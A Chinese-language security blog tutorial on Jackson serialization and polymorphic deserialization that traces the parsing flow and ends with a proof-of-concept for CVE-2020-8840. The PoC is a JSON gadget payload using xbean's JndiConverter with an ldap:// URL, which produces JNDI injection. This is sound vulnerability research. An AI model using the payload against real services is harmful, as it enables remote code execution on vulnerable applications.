@Author: Patrilic
@Time: 2020-3-24 20:13:43

0x00 前言

Jackson是一款当下流行的json解释器,主要负责处理Json的序列化和反序列化。
jackson核心模块由三部分构成:

  • jackson-core - 核心包,提供基于流模式API
  • jackson-annotations - 注解包,提供标准注解功能
  • jackson-databind - 数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API

这里我们先Build一个2.9.9版本的jackson-databind, 因为jackson-databind依赖于core和annotations,所以这两个包也会自动下载。

0x01 Build

JDK Version : 7u80

pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect -->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.16</version>
</dependency>

</dependencies>

</project>

d3ceeb3eacfb24ce43320ac07025f620

0x02 Jackson的基本用法

Jackson的主要职责就是序列化和反序列化

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.patrilic.jackson;
import java.io.IOException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class serialize {
public static void main(String[] args) {
Student a = new Student();
a.setName("Patrilic");
a.setAge(20);
a.setSex("male");
ObjectMapper mapper = new ObjectMapper();
try {
String json = mapper.writeValueAsString(a);
System.out.println("序列化前: " + a);
System.out.println("序列化后: " + json);
} catch (IOException e) {
e.printStackTrace();
}

}
}

25c2c6ea07cc16608acb2eafaef321c7

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.patrilic.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class unserialize {
public static void main(String[] args) {
String json = "{\"name\":\"Patrilic\",\"age\":20,\"sex\":\"male\"}";
ObjectMapper mapper = new ObjectMapper();
try {
System.out.println("反序列化后: " + mapper.readValue(json, Student.class));
} catch (IOException e) {
e.printStackTrace();
}
}
}

44c694c184b5e18a293d96d40f00e9d2

0x03 PolymorphicDeserialization

https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization

在Jaskson的Wiki中可以看到,Jaskson有一种特殊的机制,叫做JacksonPolymorphicDeserialization
(Jackson的多态反序列化?)

在wiki中分为两类:

  • Global default typing
  • Per-class annotations

DefaultTyping

我们唯一可以配置的值就是选择哪些类可以被影响

com/fasterxml/jackson/databind/ObjectMapper.class:1824行配置了四个选项
d97869cc25fa24f4eb7700a79d134b5e

  • JAVA_LANG_OBJECT:仅影响Object.class类型的属性

  • OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口)

  • NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有数组类型都相同(直接元素是非具体类型或Object.class)

  • NON_FINAL:影响所有未声明为 “final”的类型,以及非final元素类型的数组类型。

接下来细细来试试这几个配置的具体细节

JAVA_LANG_OBJECT

当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.patrilic.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JavaLangObject {
public static void main(String[] args) throws IOException {
People Q = new People();
Q.age = 20;
Q.name = "com.patrilic.jackson.patrilic";
Q.object = new patrilic();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
// 序列化
String json = mapper.writeValueAsString(Q);
System.out.print(json); // {"age":20,"name":"com.patrilic.jackson.patrilic","object":["com.patrilic.jackson.patrilic",{"length":100}]}

System.out.println("\n");
// 反序列化
People Q2 = mapper.readValue(json, People.class);
System.out.println(Q2); // age = 20, name = com.patrilic.jackson.patrilic, object = com.patrilic.jackson.patrilic@75215398


}
}


class People {
public int age;
public String name;
public Object object;

@Override
public String toString() {
return String.format("age = %d, name = %s, object = %s", age, name, object == null ? "null" : object);
}
}
class patrilic {
public int length = 100;
}

791124ea4f2d09f6f73bd2fcdd5bc8e8

类也会同时进行序列化和反序列化

OBJECT_AND_NON_CONCRETE

除了普通的Object, 当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.patrilic.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JavaLangObject {
public static void main(String[] args) throws IOException {
People Q = new People();
Q.age = 20;
Q.name = "com.patrilic.jackson.patrilic";
Q.object = new patrilic();
Q.sex = new MySex();
Q.sex.setSex("male");
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
// 序列化
String json = mapper.writeValueAsString(Q);
System.out.print(json);

System.out.println("\n");
// 反序列化
People Q2 = mapper.readValue(json, People.class);
System.out.println(Q2);


}
}


class People {
public int age;
public String name;
public Object object;
public Sex sex;

@Override
public String toString() {
return String.format("age = %d, name = %s, object = %s, sex = %s", age, name, object == null ? "null" : object, sex);
}
}
class patrilic {
public int length = 100;
}
class MySex implements Sex {
String sex;

public String getSex() {
return sex;
}

public void setSex(String sex) {
this.sex = sex;
}
}

interface Sex {
public void setSex(String sex);
public String getSex();
}

aafd7ffbd71332a8bf0873da529ec6a1

如果我们这里不设置OBJECT_AND_NON_CONCRETE,那么将会不能进行反序列化
e13a47ca858995f890c54a3e71d47efe

默认无参enableDefaultTyping()即为OBJECT_AND_NON_CONCRETE选项

NON_CONCRETE_AND_ARRAYS

意思很明显,在OBJECT_AND_NON_CONCRETE选项之上,再加一个Arrays

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.patrilic.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JavaLangObject {
public static void main(String[] args) throws IOException {
People Q = new People();
Q.age = 20;
Q.name = "com.patrilic.jackson.patrilic";
patrilic[] patrilic = new patrilic[2];
patrilic[0] = new patrilic();
patrilic[0].length = 1;
patrilic[1] = new patrilic();
Q.object = patrilic;
Q.sex = new MySex();
Q.sex.setSex("male");
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
// 序列化
String json = mapper.writeValueAsString(Q);
System.out.print(json);

System.out.println("\n");
// 反序列化
People Q2 = mapper.readValue(json, People.class);
System.out.println(Q2);


}
}


class People {
public int age;
public String name;
public Object object;
public Sex sex;

@Override
public String toString() {
return String.format("age = %d, name = %s, object = %s, sex = %s", age, name, object == null ? "null" : object, sex);
}
}
class patrilic {
public int length = 100;
}
class MySex implements Sex {
String sex;

public String getSex() {
return sex;
}

public void setSex(String sex) {
this.sex = sex;
}
}

interface Sex {
public void setSex(String sex);
public String getSex();
}

这里我们将第一个patrilic的length值设为1以作区分
430f26e2c31cab02f746bd45aba72000

NON_FINAL

顾名思义,除了Final属性之外的所有类都可以被反序列化

这里就不做测试了

Per-class annotations

接下来我们来看看Per-class annotations,简单来说,就是利用注解@JsonTypeInfo去标识,然后控制它的
08d62db09097323456e38816f46c3738

@JsonTypeInfo一共支持五种注解:

JsonTypeInfo 结构 反序列化
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“h”:100}} yes
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@class”:”com.patrilic.jackson.Height”,”h”:100}} yes
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@c”:”com.patrilic.jackson.Height”,”h”:100}} yes
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@type”:”Height”,”h”:100}} no
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM) 需要自定义解析器

通过具体代码测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.patrilic.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Jsontypeinfo {
public static void main(String[] args) throws IOException {
ObjectMapper mapper= new ObjectMapper();
User user = new User();
user.name= "JsonTypeInfo";
user.age=100;
user.obj=new Height();
// 序列化
String json = mapper.writeValueAsString(user);
System.out.println(json);

// 反序列化
User user1 = mapper.readValue(json, User.class);
System.out.println(user1);

}
}

class User{
public String name;
public int age;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
// @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
// @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
// @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
public Object obj;

public String toString(){
return String.format("name = %s, age = %d, obj = %s", name, age, obj) ;
}
}

class Height{
public int h = 100;
}

所以在设置为下面三种方式时,可以触发反序列化:

  • enableDefaultTyping()
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

0x04 Jackson解析流程

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.patrilic.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JavaLangObject {
public static void main(String[] args) throws IOException {
People Q = new People();
Q.age = 20;
Q.name = "com.patrilic.jackson.patrilic";
Q.object = new patrilic();
Q.sex = new MySex();
Q.sex.setSex(1);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
// 序列化
String json = mapper.writeValueAsString(Q);
System.out.print(json);

System.out.println("\n");
// 反序列化
People Q2 = mapper.readValue(json, People.class);
System.out.println(Q2);


}
}


class People {
public int age;
public String name;
public Object object;
public Sex sex;

@Override
public String toString() {
return String.format("age = %d, name = %s, object = %s, sex = %s", age, name, object == null ? "null" : object, sex);
}
}
class patrilic {
public int length = 100;
}
class MySex implements Sex {
int sex;

public int getSex() {
return sex;
}

public void setSex(int sex) {
this.sex = sex;
}
}

interface Sex {
public void setSex(int sex);
public int getSex();
}

先在mapper.readValue(json, People.class);处下个断点,简单跟一下发现主要解析流程都是在BeanDeserializer这个类之后

所以直接在
com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize方法下断点

当解析到this.vanillaDeserialize的时候,先解析p.nextToken()
3b991900e36547799b7a6519153ec5db

通过解析序列化字符串,将数据和symbol分开,symbol统一入到symbols中
04e4c18ba3861c63ff7384ac490cc194

2425faa16c02d6db3962eeaa533eb90f

然后跳转到
com/fasterxml/jackson/databind/deser/std/StdValueInstantiator.class#createUsingDefault
a52d1bd5e850ceb64b1850f44791cc2f

通过call()去创建一个实例
920ab6628909d54b95265897c5bfa1d6

之后又回到vanillaDeserialize()方法,
a876c60a72d5c7a7a2b15ed2a4bc9b41

经过prop.deserializeAndSet()跳转到
/com/fasterxml/jackson/databind/deser/impl/FieldProperty.class#deserializeAndSet

4cf6eaab1ce504c2554c11d05cd0355b

0x05 反序列化利用

Jackson原生框架是没有存在直接漏洞利用的类的,我们需要引入一些外部类去构造Gadget

CVE-2020-8840

这个CVE利用xbean-reflect利用链造成JNDI注入
影响版本:2.0.0 - 2.9.10.2

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.patrilic.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class poc {
public static void main(String args[]) throws IOException {
ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

mapper.readValue(json, Object.class);

}
}

跟一下流程:
调用mapper.readValue()的时候,return _readMapAndClose
c05706347386ede4181e919ace6d325a

步入_readMapAndClose,经过读取json,配置DeserializationContext最终到else分支
ac4dbc8c4644763749ec7a6c2a9186ff
调用了deser.deserialize(p, ctxt)
c709959f8631acc164bee8dcede20459

继续Step Into,直到跟到
com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize
02cf22f01eebbc9eb6c5efc1a68b8b63

到这里也就是之前熟悉的Jackson反序列化流程了,继续步入到
com/fasterxml/jackson/databind/deser/BeanDeserializer.class
b66482754ac351a5bfa8912b1c08a7c2

ff5e08168d379ed16103d4fde8958424

916cb7de4ede46af0aaa58aba79f5a70
通过setter.invoke()执行方法,步入eval类
org/apache/xbean/propertyeditor/JndiConverter.class
进行lookup(), 造成JNDI注入
3bf785cab194dea07f7782c0295ad7a6

完整调用链
ee9bd51b1a9707adafe242d0e4434ba0

黑名单类:
46b8f5c60d9a14916a00b7cbea24ec30

0x06 相关链接

https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/
https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/
http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB
https://www.anquanke.com/post/id/199460
https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.html
https://github.com/FasterXML/jackson-databind
https://github.com/FasterXML/jackson-databind/issues/2620